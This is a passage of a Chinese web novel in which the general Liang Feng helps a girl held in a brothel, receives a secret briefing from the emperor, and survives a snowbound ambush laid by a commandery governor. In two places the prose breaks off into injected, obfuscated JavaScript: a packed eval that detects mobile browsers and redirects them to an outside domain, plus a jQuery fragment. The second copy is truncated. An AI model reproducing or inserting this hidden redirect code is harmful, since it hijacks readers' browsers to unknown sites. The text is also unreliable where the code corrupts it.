梁风在院子里绕了一圈,仔细观察。此时后院几乎见不到人,更见不到男客,部分房间传出女子谈话的声音。 令他诧异的是,这些女子嗓音非常稚嫩,听着年纪很小的样子。看来这嬉春院里的人比他所见的多,有的在前面接客,有的在等长大。 直到路过一间房,听见了一道男童的声音。 这男童想必就是徐娘的儿子,梁风想了想,没有进去,回到金絮房前。 很快门开了,李婶走出来,回身说:“你先将脸上的妆洗了,我再为你诊脉。” 梁风看了眼里面全身裹缠白纱的金絮,给徐娘扔了贯铜钱,“给我一间干净的房间。” 徐娘掂掂钱,扯了面皮一笑,一手捏住金絮腋下,拎起来就往外走。 金絮脚步漂浮地踉跄跟着,梁风想扶她,怕她刚包好的绷带又裂开,徐娘却用力地一拽,将金絮拽离他的靠近。她吃痛皱眉,一声不吭。 上至此楼二层,进入一间极为干净宽敞的房间,屋内没有特意焚烧的香气,陈设也都是不张扬的色调。 这应该就是徐娘的住处,看来徐娘是想把金絮拴在身边,同吃同睡。梁风原本还想过要不要把金絮偷出来,这下不弄点迷药不好办了。 徐娘吩咐人守在门外,把金絮放在外间榻上,自己便到内间去了。 金絮换了身衣服,头发也梳过一遍,脸颊的割伤用从头顶绕到下巴的绷带缠着,没了血迹掩盖,她脸色十分苍白。 “你快走吧,救人不用救到底,我十分感激你救了我的,当初离开你府上,也是我自己的选择。”她说。 “太疼的话,李婶有止疼药。”梁风道。 “我不疼。你不能给徐娘好处,我比你更清楚我无处可去,我若想在这嬉春院里好好待着,我就不能倚仗你。” “你就是疼迷糊了,这种地方哪能待下去。”梁风抬头四顾,寻找有没有易破的窗口。 “我从未如此清醒。”她有些着急了,“青楼里面女子多,我只要能获得她们的支持,互帮互助,在这里生活不会太难。若是去到其他地方,遇上些男的,反而不会每一个都像你一样。” 她忽然皱眉,压下疼痛,再道:“你不会一直在京城,你会去军营。你没有更好的办法,我也没有。” 梁风收回视线,低头看她,不找窗口了。 “我......我如今,是想留在京城的,不跑出去了。”她道。 “不怕自己名声变坏么?” 她摇头,“是技女的名声坏,还是罪臣之女的名声坏?我还怕更烂么?” 或许是脱离了他的小黑屋,金絮现在和他说话有一股不知名的底气。 “更何况,我现在叫晓花。” 梁风叹气,“人在谷底,总会希望有人能帮帮自己。你有你的想法和安排,不愿意我插手,我是可以依你的意思的。但我担心你有需要帮忙的时候,又总是不开口。” “我要学会救自己。”她仍是摇头, 他看见金絮眼底的泪光,又看了眼分隔内间的屏风,松了口,“那晓花的卖身契我就先留着,多少能牵制住徐娘。这鸨母,我是看不惯她对买来的人滥私鞭刑的。” 梁风再叮嘱:“你要记着,无论什么事情,我都愿意帮你,因为你父亲帮过我。如果我不在,你就找老李。” 她眼睛里流露出真诚的感激,“谢谢......” 脚步声轻响,幔帘掀动,打断了她的话。 屏风后出来的人面色蜡黄,却不是徐娘。 梁风愣住了,随即注意到这人穿着和徐娘同件衣服。 他一时没反应过来,就见这人坐下,伸出手腕,李婶便为她把脉。 梁风睁大眼,呆住了。 这是徐娘? 她眼球微凸,两颊皮肤耷拉着,鼻子两侧有下塌的阴影,唇色浊沉,跟刚才完全不是同一张脸。 进去一下又出来,就老了十岁?那些抹在脸上的白粉能有这奇效?这就是妆吗?梁风惊疑不定。 李婶却不惊奇,十分镇定的样子,再看看徐娘舌头,询问一番作息与日常症状,便递出一只瓷瓶,道:“明日我带齐针具再来施针,这药你今夜睡前和明早醒后各喝一口,今夜必须早睡,且明日早食只吃粥蛋,我午后会来。” 徐娘听了,问了一句:“能不能治好?” “我看诊,一贯是施过一次针后依据病患身体反应再下结论,仅仅是把脉,我不会说治不治得好。” 徐娘收手,不作反应。 李婶看看梁风,梁风还没开口,金絮站起来,推他的手臂道:“你快回去吧,徐娘的病让她自己治,你不用管了。” 徐娘呵呵一声,“真是白养你个死丫头。” 金絮跟没听见一样,梁风拉着她到门边,悄悄给她一只小荷包,里面装了几颗碎金子。 他再再再叮嘱:“有事一定要和我说。平常我若是不得空,也会让李婶和小缃来看你。” 金絮五指收紧,荷包捏成一团,她还是点了头。 再看她一眼,梁风离开嬉春院。 回到王府,梁风唤来老李。关了门,李婶即道:“那鸨母的病,我恐怕是治不好了。” 梁风不免意外,问:“她那手臂到底怎么了?” “那是积液,她左臂和胸部蓄满了积液,液水并不致命,施针三次抽水,缓慢排出即可。最主要的病根在肺,肺里长了个东西堵住了气管,令她呼吸极弱,吸气时肺部有明显颤音。方才未听见她咳嗽,应当是忍着,若是咳嗽定已经咳血了。” 李婶道:“这病要想治好,必须开胸,将堵住肺管的东西割除,但开胸后,人也活不成了。” “不治的话,还能活多久?” “身体底子坏了,加上日日昼夜颠倒,没多久可活了。即便现在开始静心养病,内外调理,也仅能延长数月到一年。” 无论怎样都活不长了,那该不该如实告诉徐娘,她若是觉得自己还有希望活着,肯定不会太过为难金絮。 李婶这时道:“我为那鸨母诊脉时,看她神色,她对自己病情也是心里有数的。施针后,病患自己也能体会究竟治不治得好。” 医者仁心,李婶自然是不愿意在病情上做任何隐瞒的。 “那便直说吧,不管明日施针结果如何,都将病情如实相告,也一定要告诉她知道。” 李婶应下。 待李婶下去休息,李晟看着梁风,问:“姑娘有说什么?” 梁风把金絮和他说的话转告给老李,他有些发愁,“我是在想,去年她提出想去太南的时候,我不应该拦着的,给她点盘缠,让她走自己的路,需要帮助时再出手,她也就不至于用逃跑的方式离开王府,更不至于在逃跑之后身无分文还被人贩子拐了。” 老李不说话,梁风自语道:“她是说的好听了,她就算想倚仗我,我又有什么是能让她倚仗的。这会是往脸上割,万一哪天直接朝脖子上割呢?我是希望她至少看在我救了她的份上,别轻视自己一条性命,哪又犯得着待在那种地方。” “可我不想要求她那么多,好像我是挟恩,要求她必须受控于我......换了是我,我也不愿意的。让她去做她不愿意做的事,我还频频是用‘为她好’的说辞。可嬉春院那样的地方,真的好让她待着么?” 李晟默默听着,在他说完后立刻接道:“不好也只能好了。” 定论的话令他闭上了还欲张开的嘴。 李晟道:“一两年还算容易熬,过了这两年,徐娘一死,姑娘长大了,也就能自食其力。” 梁风不说话,眼睛也不看老李。 “她自己的路,让她自己走吧。”李晟道:“不过,王爷大可放心,金姑娘无论如何,刀子都不会朝脖子上割的。金姑娘是个能屈能伸的孩子。” 梁风沉默良久。沉默到小缃送来一张锦被,李晟展开铺在了梁风原本的被榻上。 梁风瞥了一眼,立刻说:“我不要这个。”天气还没有那么冷。 老李听了并不撤走,“床榻有这么大,加床衾被不占地方,随王爷盖不盖。” “又冻不着我。” 加多的被子还是放在了他床上。 梁风轻轻哼了一声。 隔日,他必须回军营去了,再不回去,太尉就要疑惑他为何在府中停留这么长的时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839848|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而他赶着返营不光是为了打消太尉疑虑,还因为月底即将送来军营的俸禄。 原本府里开销是用陛下的赏赐,他一贯是将全部俸禄都给母亲的,但他担心徐娘勒索数额过大,府里现钱会不够,决定调小半数俸禄过去,留下大部分给母亲。 这一缩减,他怕母亲会疑心,便想寻个由头进宫看看。 之前的刺杀还没查出凶手,梁风借此跑了趟官府,确认案件毫无进展,便写封折子呈上,向皇帝陈述官府和相府决曹办案过慢问题。 圣上批复已阅。过两日,下旨召他进宫。 “你遇刺一事,相府给了朕解释。” 上首的皇帝向他道。 “刺客招供,说是你前些年在北境剿灭一处匈奴窝点时,招惹了当地一户大姓,之后几年那户人家始终在寻找报复你的时机,而那四名刺客只是受重金雇佣行事。” 梁风微微愕然,“北境,匈奴?难道是......” 难道是他首次带兵出征那年?可皇帝不知道那次出征他完全是用来观赏的吗?虽然那次明面上是他领兵,但实际他完全听命于崔固,而崔固带兵向来绕过郡城,绝不扰民的。 皇帝补充道:“那四名刺客招供后皆咬舌自尽了,相府又说,这起刺杀当中也有你驻京布防存在疏漏的错处。” 皇帝递给身边夏培一本折子,夏培转递给梁风。梁风翻开略扫一眼,是相府对他刺杀案写的结论,末尾有游照同盖印。 他啪地合上奏折,忍不住语气里的讥讽,“错还出在被刺杀的人身上了?” 皇帝似笑非笑,道:“不过区区数日,相府便查出你在几年前路过的地方遇见了什么人、遭遇了什么事,你自己都记不清的事情,相府帮你记着。这刺杀案的结果,不必尽信。” 梁风一愣。 皇帝继续道:“北境苦寒,何来大姓。朕另派人查过,那几名刺客背后存在游家的痕迹,这次检举你布防疏漏的人也是相府决曹的一名属官。” 梁风乍听未明白是什么意思,在皇帝慢慢打量他的目光下,他逐渐反应过来,有些不可思议道:“......是......那群文官想杀我?” 皇帝不说话,可梁风对这当中关系还是不太明白。 “与你说这些,也不是让你对文官产生偏见。”皇帝向夏培示意,“你下一步剿匪的路线朕已为你规划好了,这一回路上再有何发现,记得备好证据,军报直接呈上,不会再过相府。” 听到这么一说,梁风立时想到他上半年剿匪结束发来朝廷的那封军报,里面写了他一路所见各地方官员贪污的事迹。难道是因为这个? “还有,”皇帝再道:“切记,往后不许擅自决定山匪是否全歼,一切听朕旨令。” 夏培递予他一份路线图,图中简要画了他下次剿匪路线与几处声势较大的民叛。 他有些明白了,这由皇帝规划的剿匪路线,是否就是皇帝想暗中调查的地方官员?地方官与相府关系甚深,也因此,这份路线图需要亲自交给他。 他隐隐察觉了皇帝与相府之间互相对抗的矛盾,已然十分深了。 梁风收起路线图,应是:“臣听旨。” 皇帝打发他下去后,梁风绕去暖阁见见母亲。 邓氏见到他,脸上瞬间绽开的表情与这死板严肃的未央宫格格不入。梁风也受这欣喜的感染,拿出带来的东西交给母亲。 “这些都是陛下赐我的,方便带进宫来,下回我试试能不能带些大件的东西。”梁风道:“之后我每月的俸禄要拨一点送到府里去,给你的就少了。” 邓氏立刻就说:“你的俸禄你自己留着便是,我要来做什么?在这宫里也用不上。” 母亲没多问,梁风便道:“在宫里多点钱财傍身总归方便些。我过段时间又要走了。” 听到他又要走,邓氏怔了怔,“明年五月可能回来?” “恐怕不能。” “你还记得明年五月是你的及冠礼?” 梁风愣住,这他倒是忘干净了。 母亲显得略忧愁,“这不得空了啊......” 梁风安慰:“不得空便不得空了,谁殷勤在脑袋上顶个笼子?知道自己长了一岁不就好了。” 母亲对他态度责怪地微微皱眉,颇不赞同。 “快年底了,我也不得空闲,要办礼的话就等我回来再说吧。”他估计,能不能办都不一定,要是这次剿匪又挖出了几个与廷官有勾结的地方要员,朝野势必再次震动起来。 再与母亲闲聊一会儿,梁风便出宫了。如果不是为了看看母亲,他是不喜欢在这未央宫久待的。 114. 《红叶书》(三四) 告别了母亲,驾车的十二询问接下来是否返营。梁风点头。 未央宫门的阴影在头顶掠过,仿佛遮心的阴霾吹散,宫外清新气息扑面而来。他后知后觉地意识到,皇帝方才和他说的一番话背后有什么意思。 文官想杀他,是他说的;文官因他的检举军报而产生敌意,也是他认为的。整场对话下来,皇帝陈列情况,步步引导,难听的话却都是他自己说的。 他回头看了一眼宏伟的宫门,面无表情的宫墙向他遮蔽了宫内的一切。 这人还不愿意自己做坏人。 至少皇帝提醒了他,跟他解释刺杀背后的推手。 至少他可以放心一件事——文官最近的注意力都在他交上去的揭露信上,他日常活动虽然也有人盯着,但不是最重要的。这说明最近频繁进出嬉春院,未必有人察觉到了并且起了疑心,更不会注意到嬉春院里的金絮。 他越发觉得,相比起徐娘对金絮的威胁,还不如他应该离她远一点。 另一方面,相府将刺杀案调查结果呈给皇帝后,皇帝还暗中命人又查了一遍,可见皇帝极其不信任相府。这当中似乎有什么是可以利用的。 梁风想了想,想了又想...... 最终决定安插两名暗卫到军营,摘下面罩,做他的贴身下手。 他要安排人进入军营是相当简单了,吩咐一句的事情,过一段时间,再将人调到身边即可。 他选了老二和老三,改名为赵二和桑极。 再命人暗中护卫王府,以及监视嬉春院和整个京城内世家大族与朝廷要员的动向。有了对全局的把握,心里的安定是无与伦比的,梁风感到踏实了不少。 几日后,十二查出徐娘那份买卖文书背后或许存在天机阁的痕迹,文书上盖的印的墨水来自长泽以南的长叶樟,而天机阁最早就是靠制销长叶纸发家。 梁风便命十二收手,不必再调查下去。这份文书即便有更深的猫腻,他也不会揭发或举报,查清与否无关紧要了。 他让十二盯着朝廷与相府的动静。 似乎是皇帝与相府之间的斗争已逐渐露于水面之上,十二并未花费什么力气便查到了皇帝口中那个检举梁风布防疏漏的相府属官。此人被皇帝以梁风作为一个遇刺人竟被检举错处为由而罢免,替代他的是皇帝亲点的一名新人。 相府极为不满,朝廷所有人员任免皆由西曹统决,皇帝无权干涉,游照同当庭指责皇帝此举逾越。 皇帝无视之。 那名被提出来作为试金石的新人最近几日战战兢兢,脸色如同将死之人。 皇帝试图移权,削弱相府权力,做这么多,就为了从丞相袋里掏两枚子儿。 文官几乎一边倒地支持丞相。仅凭皇帝一己之力,很难与整个文官集团做抗争。外朝和内朝本就不相容,皇帝却想做第一个人打破它的人。 “独自一人难做,陛下必然会提拔旁人助他。”梁风道。 十二在一旁问:“陛下提拔的人会是您吗?” 梁风沉默许久,道:“不,不会是我。是宦官。” 是夏培。 那幅路线图交给他时,夏培是站在旁边的。 梁风合上谍报,吩咐道:“继续盯着。” 比起这些,他更希望知道下一次剿匪是何时,他需要时间确保金絮在嬉春院内的平安。 然而没过几日,皇帝下旨,命梁风二次剿匪,镇压叛民,兼监护朝廷拨款援助地方过冬的钱粮。 是条急令,援助的钱粮需在大雪封山前送抵。路线与皇帝亲手交给他的地图吻合,向东去,目的地是沛郡礁县。 太尉立即召集军营都尉以上,协商此程梁风该携带兵力多少,以汇报相府。 首先需要有充足的武力对抗山匪,其次这批粮草分量必须足够援助沿路所有贫困县过冬,还要满足途中的吃食消耗。这意味着人数不可能少,否则根本无法把这巨量的粮食护送过去。可人数多了,所需要的粮食也愈多。 太尉提议,以绝对少的兵力携带尽量多的钱粮,一张口就说一百兵。 梁风有些惊了,想不至于如此少,随便一个规模不大不小的山寨,人数都在百以上,而他一个出自朝廷的军队竟然才区区百人。 梁风直说百人太少。太尉看他一眼,没有说话。 其余人有赞同,有不赞同。最后商议不下,太尉索性将军营现状告知相府,由相府决断。 梁风仔细想了想,也写了一封奏折呈上,建议皇帝从礁县周边地区调粮,而不是从京城援拨。 奏折送去,梁风立即入城,先去了趟崔府,告诉崔敬先之前的刺杀不是冲他去的,让他安心。 “你又要杀人去了?不是才回来没多久?”敬先微微诧异,“年都不给过?” 梁风呆了一呆,嗓子眼噎了一下,讷讷道:“不给过......” 敬先无言地拍拍他的肩膀以示安慰。 回到王府,李晟得知他准备再次出征,脸上跟敬先是一个反应。 似乎心里默默怨怼了半晌,老李最后道:“好吧。”过了片刻,又问梁风:“不能带上李婶么?” 梁风摇头。 不过提起李婶,倒让他想起一事,问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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府里的事情都交给老李,梁风再回军营。 相府很快商议出结果,陛下的圣旨在这月结束前便下颁。 礁县援粮仍由应和王带兵护送,精骑一千,战马两千,并剿除东部匪线。 时间紧迫,无暇思索军令背后有何深意,梁风接了圣旨。 一千精锐的军备用一日便准备妥当,月底,带兵出征。 115. 《红叶书》(三五) 路上景色单调起来,踏过深山丛林、田野草场,寒风多伴枯败的树枝落叶。风尚不算凛冽,吹不透铠甲。他回头望,仅有千人的队伍却十分漫长,每一车粮草底下压着钱币,车轮在沙地上发出坚硬的声音,合起来几乎能够震动群山的枯枝。 气温还没到最冷的时候,全队体力充足,他预计以尽量快的脚程最早可以在十二月前到达沛郡,但钱粮的颠簸损耗能达六成以上。 这是一队精锐,军器配备充足,朝廷旗标遍插全队车马,他有把握不会遇上劫匪。只要选好路线,绕开易发滑坡的山体,粮食保住八成不难。他便命全队稳妥前进,尽可能保全粮草。 行了数日,路过第一座郡城时,迎面遇上了去往朝廷缴税的地方官军,携带钱车上百,护送人马比梁风还多。 大部分距京城不远的郡县都会选择这个时候缴税,为的是在京城过冬,来年开春再返回地方,距离远的县城才会在开春后上缴税钱。 梁风派副将上前询问得知,钱车如此之多是因为包含双缗令颁布后的第一批税钱。他不免吃惊,粗略一数起码有万万钱吧。一个郡的税钱就有这么多,那些富商巨贾,有的真能富到如此地步? 两军错开绕行,梁风惊叹地看着盛满铜钱与金子的长龙驶过。风沙散去后,空气中仿佛还飘着金钱的味道。 他在这股气味中闻到了血腥。 上次剿匪,郡守和他说过,官府的压力不止面对叛民与山匪,还有巨富。那些被双缗令强制缴纳高额税目的富户又会从何处弥补自己?双缗令如此成效,恐怕压力最大的不是官府,而是百姓,百姓遭受的盘剥又何止一两种。这些钱,能被缴得出来,背后是佃农黔首被榨干了多少血汗。 梁戟看得到这些吗? 眼前仿佛出现高山与深渊,令他深感无力。 露天夜宿时,他又想到,金絮的母家顾氏是太南数一数二的大商户,也有这样富,如果还在,每年上缴的税钱也会有这样多。巨商与高官、富贵泼天与权利顶峰同时出现在一家之中,他隐隐觉得,某些事情的发生或许是必然。 金絮知道这些吗? 单调的路途丰富了思考中的精神世界。至十一月,下起雪来。 还未进入沛郡辖区,在一个不曾听闻名字的小县城,梁风遇上了此征第一场起义。 这场起义人数只有六人,一家子,在看见梁风后,未抵抗便缴械投降,而梁风只是路过。 之后大大小小的起义接连不断,大部分他出面即平,没有能成势的,少部分强制要求梁风留下些许钱粮。直到十二月初,梁风全军抵达沛郡。在他抵达后两日,大雪封山。 梁风将兵驻在城郊,少犯城内。整顿后,他立即与太守共同下派援粮。 风雪停歇的间隙,附近县城听闻风声,纷纷传信陈述自家县内的储粮情况以及附近山匪的窥伺,言下之意都是希望梁风分点粮食过去。 梁风没回应。这批粮食分不到那么远的地方,皇帝给他的郡县名单上也不包含这些小县城,如果匀过去,他带兵回京的路上就没粮了。 他以为太守会来询问他的意见,毕竟这批粮食是由他承朝廷之命护送过来的,再如何也该听听他的想法。结果太守直接越过梁风,同意分发给附近县城部分粮食。 梁风暗暗吃惊,隐约觉得不对劲,他身上好歹背着经游照同和皇帝批过的旨意,这太守是直接越过了朝廷相府和皇帝行事。 分食之后,太守才姗姗告知梁风,建议梁风留兵驻扎,待来年地里收割了一批粮食后再返京,也趁此机会根除这一带匪患。 暴雪已经封山,他联系不到京城。梁风只好答应。 看来,五月前是没法回京了。 时至正月,礁县张灯结彩,炮竹在冰天雪地里欢迎新年。梁风多数时候专注于翻阅沛郡这几年的匪患情报,提前部署剿匪策略,很少出门。 他自知不方便,走这一趟仅负责监粮与剿匪,与这两件事无关的事情不便做得太张扬,否则会表露出朝廷过多干涉地方秩序的态度。本县人看来或许没什么,但外县人却容易觉得异样,不满朝廷手伸太长。因此太守不让他援助,他便什么也不做,就连郡内治安也只在太守主动和他提起时,点到为止地说上一句。 元宵前后,沛郡还是很冷。太守突然找到他,说北方一座村子遭遇山匪突袭,村子被洗劫一空。太守立即送去援粮,结果粮队在路上遇到雪崩,全队被大雪埋了。 所埋地点是一处山谷,具体位置大约在山谷北部,那座山谷是从礁县去往那村子的必经之路。 “王爷,人是救不到了,关键是要把粮食挖出来,还要抢回被恶匪劫去的粮食。”太守说。 梁风沉思一番道:“情况似乎不太寻常,山匪最活跃的时候一般不是深冬,而是冬季前后,你查一查。” 太守应下了。 不过调查归调查,他要做的是把粮食抢回来。梁风抽点七百精锐,趁雪停时去往山谷。 行了一日夜,抵达山脚。为避免马踏与铠甲碰撞发出的声音引发雪崩,梁风留下战马和甲胄,只携兵器与旗帜进入大山。 沿着山谷延伸的方向走了一段,终于找到粮队疑似遇险地点。 然而却没见到任何雪崩的痕迹。 四周空阔,所见无一绿色,积雪不过半截小腿深。不像是不久前发过雪崩的样子,这点雪深也埋不死人。 梁风仔细对比地图,图上显示此处脚下应有一条封冻的小河,粮队就是沿着河走,走到这里遇上了雪崩。 这时斥候来报,山谷前方是一片森林。 森林?梁风疑惑渐深,如果发生雪崩,崩雪受森林阻碍,只会堆积在山谷内,不可能是此刻空阔的模样,飞鸟都能鸣叫着飞越山谷上空。 “有没有发现炊烟?”梁风问。 斥候桑极摇头。 “山匪的痕迹也没有吗?” “没有。不仅没有发现炊烟,就连山匪上下山的山路都没见到。” 梁风皱眉,这地图似乎有疑点,或许是太守拿错了。 图中标画出了森林深处那座遭遇山匪袭击的村子位置,他无论如何都得去看看,顶多白跑一趟。天气晴朗,估计今夜不会刮风下雪,如果没有找到村子,就在森林里寻个山洞过一夜。 梁风挥旗,军队向着山谷出口进发。 七百人几乎无声地破雪前进。又前行一刻钟,积雪没至膝盖,地势走低了。 鸟鸣声逐渐不闻,梁风本能地环顾四周。 忽然,眼中捕捉到一瞬闪光,右侧雪地里有个极亮的东西比雪光还强烈。进入雪山前就系上了遮挡雪光的蒙眼黑布,在黑布覆盖下,那瞬闪光还能如此亮眼,梁风立刻警惕。 极轻的破雪声传出,梁风瞬时全身后仰,举旗横档,以小腿为轴,几乎整个身子贴到雪面。 铛—— 旗帜断裂,向他飞刺而来的匕首斜甩去雪堆中。 梁风悚然,不敢再动,紧盯着两侧雪山。那不见丁点异色的山峰仿佛蓄势待发,威胁地反视他。 周围一圈的积雪尽数耸动,一个个黑衣人影破雪而出,被蒙眼黑布削弱的凛冽刀光瞬间逼至身侧。梁风用剩下半截旗杆反击,极力压低声音道:“攻!” 七百人外围的棍兵迎敌,棍棍击在敌对兵器上的闷响顿时刺耳起来。 眼睛被遮着,梁风大致判断袭击他们的有数十人,兵器不一,攻势十分分散,难以看出目标是谁。 梁风一刀劈开面前黑衣人后背,鲜血四溅的同时注意到人群最外侧的雪堆后藏着个体型极其壮硕的黑衣人。这黑衣人将兵器一扔,扯了面罩深吸一口气,鼓起的胸膛崩开衣襟,粗粝的下颌与脖颈对着天空青筋暴起地用力一吼。 这一声简直震耳欲聋 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梁风待震动平息,睁开眼,所见漆黑,凛凛寒气往口鼻里钻,难以呼吸。 是仰躺,不好判断被埋了多深,梁风调息,动了动,将周身的雪挤压出一小片空隙,开始在肩膀上方一点一点刨雪。 雪堆在凝固,刨得越来越吃力,为了便于握刀而未佩戴手套,指尖磨出了血,血腥混着寒气越发难以呼吸。 他不敢太用力,以免把雪堆压实了,可是指尖的雪仍在逐渐变硬。 脑子里不受控制地出现这二十年里遇见的人,他们的模样...... 强行打断自己的幻想,他不想死在这里。 意念从未有过的坚定,他不顾挤压雪层,用力往上一推,雪堆果然被推得更密实了,但周身范围也更大了些。他迅速判断以他当前的体力能否冲破厚雪,雪层之上忽然传来细碎的人喊,梁风欣喜,意识到还有人活着,更加用力不顾一切地上推雪层。 人喊慢慢清晰变大,他分辨出是他的部下。 “将军!” 眼中透入一隙光线,手顶的雪层陡然一松,面部被一双手拨开,清新冷冽的空气强势灌入肺中。 “桑极......” 桑极一喜,和周围的人全力挖开埋着梁风身上的雪。 他从雪里坐起来,扯掉蒙眼布条,阴沉的山林并未明亮多少。 乌云掠过雪山顶,缓慢覆盖森林,将要起风了。他回头看雪崩滑来的方向,白雪淹没了一切。 “将军,只剩这么多人了。” 二十多个人,他七百人的队伍只剩下二十多人。 没有山匪,没有遇袭的村子,没有埋于雪下的粮队,就连地图都是假的,这一切是圈套,沛郡太守想杀死他。 梁风一拳砸到雪地里,砸出一个深坑。 忽听有箭破空而来,梁风本能一躲,利箭刺进他砸出的深坑里。枯林中一阵窸窣响动,林木深处,数条黑衣身影拖刀出现,被雪地突出的杀意目光盯着梁风。 “回到京城,我绝不善罢甘休。”梁风恨恨道:“桑极,活着走出这座森林。” “是!” 二十几人手无兵器,刀都被大雪吞噬了。梁风紧紧握拳,“你们给我听好了!活着走出这座森林!” “是!” 非逼死他不可。梁风足尖一点,利箭般冲向最前方的黑衣人,横扫其肋骨,劈手夺了武器,寒光映着对方的咽喉,鲜血滋养干枯的大树。 冷雪被热血融化,刀剑树枝的霹雳声响彻森林。试图努力做个好人的将军,挥刀之下,杀死了整座山林的敌人。 远在京城的未央宫,寒风灌入室内,案牍之后的皇帝,冷冷注视着面前的游照同。 116. 《红叶书》(三六) 还有三百人。 还有人。 他在礁县内留了三百人。 鲜血在雪粒中蜿蜒,离开他的身体。冻结的雪地贴着他的脸,指尖三寸是脱手的刀。细如盐粒的白雪疯狂掩埋尸体,狂风无法令寒冷压住血腥,血气在风中搅成旋涡,夺去每一个人的呼吸。 手指终于够到那把刀,梁风紧紧握住,蜷缩身体撑刀站起来。 尸体交叠横陈像是吹落的枯枝,了无生气,颜色都与大树融为一体。 他抬起刀,雪粒扑在刀面。他冻僵的手指捏住刀刃,被无数喉间与胸膛的炽热鲜血浸泡的刀刃,此刻竟有些温热。他捏着刀,像是捏着眼前躺在森林里所有尸体的一生。 右腿断了,肋骨断裂一条,或者两条,大小伤口无数,还有最后的二十几人,他全都失去了。 目标是杀他的人不知有多少,后来天色变暗,狂风起来,林子里几乎一片漆黑。他数不清这一夜杀了多少人,他只知道不断有人提刀向他冲来。 同伴的尸体、他亲自提拔的下属与副将,不断地压在头顶,越杀身体越僵硬,直到最后一个敌人倒下...... “将军......” 声音唤回了僵硬的神志,腥风混沌处,桑极推开身侧碍路的敌方尸体,爬起向他跑来。 手里的刀一下子握不住,右腿的疼痛忽然难以忍受,狂风却拨弄着他,令他无法倒下。 “桑极......” 这场厮杀中,桑极始终防守,保全体力,保证至少留下一人,能带着活着的梁风离开雪山。 可桑极身上也有很多刀口,血流不止,在厮杀停歇的第一刻跑来,告诉他,他没有失去全部战友。 桑极扶着他在一棵极粗的大树旁坐下,砍下四条树枝,包住梁风的右腿固定。桑极拖来几条敌尸,割开尸体的上衣,将其中两条尸首摆成夹角向着梁风,再不断垒高,直到堆出半人高的尸墙。两面尸墙与背后大树形成一圈,遮挡风雪。 桑极也进到三角的包围圈中,拨出一小堆割下的衣服,摆上树皮与细枯枝,用随身两块小火石擦火引燃衣服。但即便有尸墙挡风,风仍是很大,擦不出火星。 “桑极......” “将军,不能睡。”桑极专注于擦火石,“烧完这些衣服,天就亮了。” 可他感到越来越冷,风小了后,被冻僵的伤口渐渐疼起来,失血过多,头很晕,想睡觉,睡着死去也很舒服啊。 黑暗中出现一点光亮,转瞬即逝。 亮光逐渐变大,膝盖感到了温暖。梁风睁开眼,看见那簇燃在衣服上的火苗。火焰被狂风吹得危在旦夕,焰头几乎脱离根部,颤颤巍巍却并未熄灭。 他浑身松懈,脑袋往树上一靠,“死不了......烧完衣服是天亮,我睡醒,也是天亮......” 他睡着了。风雪刮了一夜,在森林,在脑海,从悲鸣到哀泣,他清醒地听着大风缓慢平息,他却睁不开眼。 嘴里送进冰凉的水,是桑极在喂他。意识浮沉之际,周围忽然变得安静,他睁眼,看见两侧缓慢前移的山峰。桑极用数件衣服绑成了一块大布,拖着他一点点走出山谷。 “桑极。” 桑极停下,回头看他。 他站起来,与桑极并肩扶持,一起扯着脚步离开山谷。 “他们的身体,要带回去。” “是,将军。” 万幸的是,直到离开山谷都未再刮起风雪。山脚下,入山前留下的马匹甲胄和部分干粮还在原地。昨夜的风雪在山另一面显然没有刮得十分厉害,甲胄只被雪埋了一半,而穿它们的人却已不在。 他的马,漆黑浓厚的毛发,此刻抱起来格外温暖。桑极就地取火煮粥羹。热乎乎吃了一碗,梁风坐在粮食上,由马匹拉着返城。 他要见太守,要见到留在城中的三百士兵,他要为战友收尸,也要命令太守掩埋那堆刺客的尸体,否则大雪消融,极易引发瘟疫。 至于这起事件,他有的是时间慢慢调查。 太守府中,梁风冷漠地看着沛郡太守急匆匆出现。太守外表情绪不露,额上却流下冷汗,气息在看见他的一瞬间变得紊乱,像是没想到他还能活着回来。 太守状似很着急地传令大夫,梁风只顾唤来此程携带的另一位暗卫——赵二,赵二同时是余下那三百人的领队。 听着赵二报告全队尽安,梁风总算松了口气,原本担忧太守趁他不在会对他留下的人下杀手,现在他能放心了。梁风立刻睡了过去。 身上的伤比他以为的严重,失血过多、体温过低、麻木都导致很多伤口的疼痛他感受不到,还以为就断腿严重一点。待他醒来,已经过去三天。 这三天,桑极密切地监视沛郡太守。沛太守有所察觉,三天里极尽全力地照顾梁风,为梁风安排好一切养伤所需。 梁风看得出来,因为他身边始终有赵二守着,太守无法再下杀手,于是转而对他好,试图讨好他。 梁风默然以对,他决定先好好养伤。他要查的不只是这场雪山的埋伏,而是背后令朝廷与沛郡都想杀死他的真正原因。 更何况,出征前,皇帝提醒过他,此程有何发现记得备好证据直接呈上。 他不相信这件事会和朝廷无关,他与沛太守互不相识,沛太守怎么会想杀死他。反而是相府或皇帝决定此程仅带兵一千时,他就该起疑心了,人少才好下手。而且,最初时太尉还提过一百兵。 整场雪山的埋伏中,唯一的变数是桑极。这是最近才到他身边的暗卫,不管是皇帝还是相府,都不知道梁风有桑极这样一个庇护。如果不是桑极,他就真的死在那场风雪中了。 梁风平静了大半月养伤,期间遣人深入田野探听调查,他要知道沛太守近几年的作风。 三月,梁风能勉强下地,听闻附近山匪活跃起来,立即命两百兵士按照计划剿匪。 冬季过后,匪患也是此程急待处理的事情,他不想因为意外的发生,耽误救援被匪患侵扰的百姓。 在手下与山匪打得火热时,梁风独自去见沛太守。 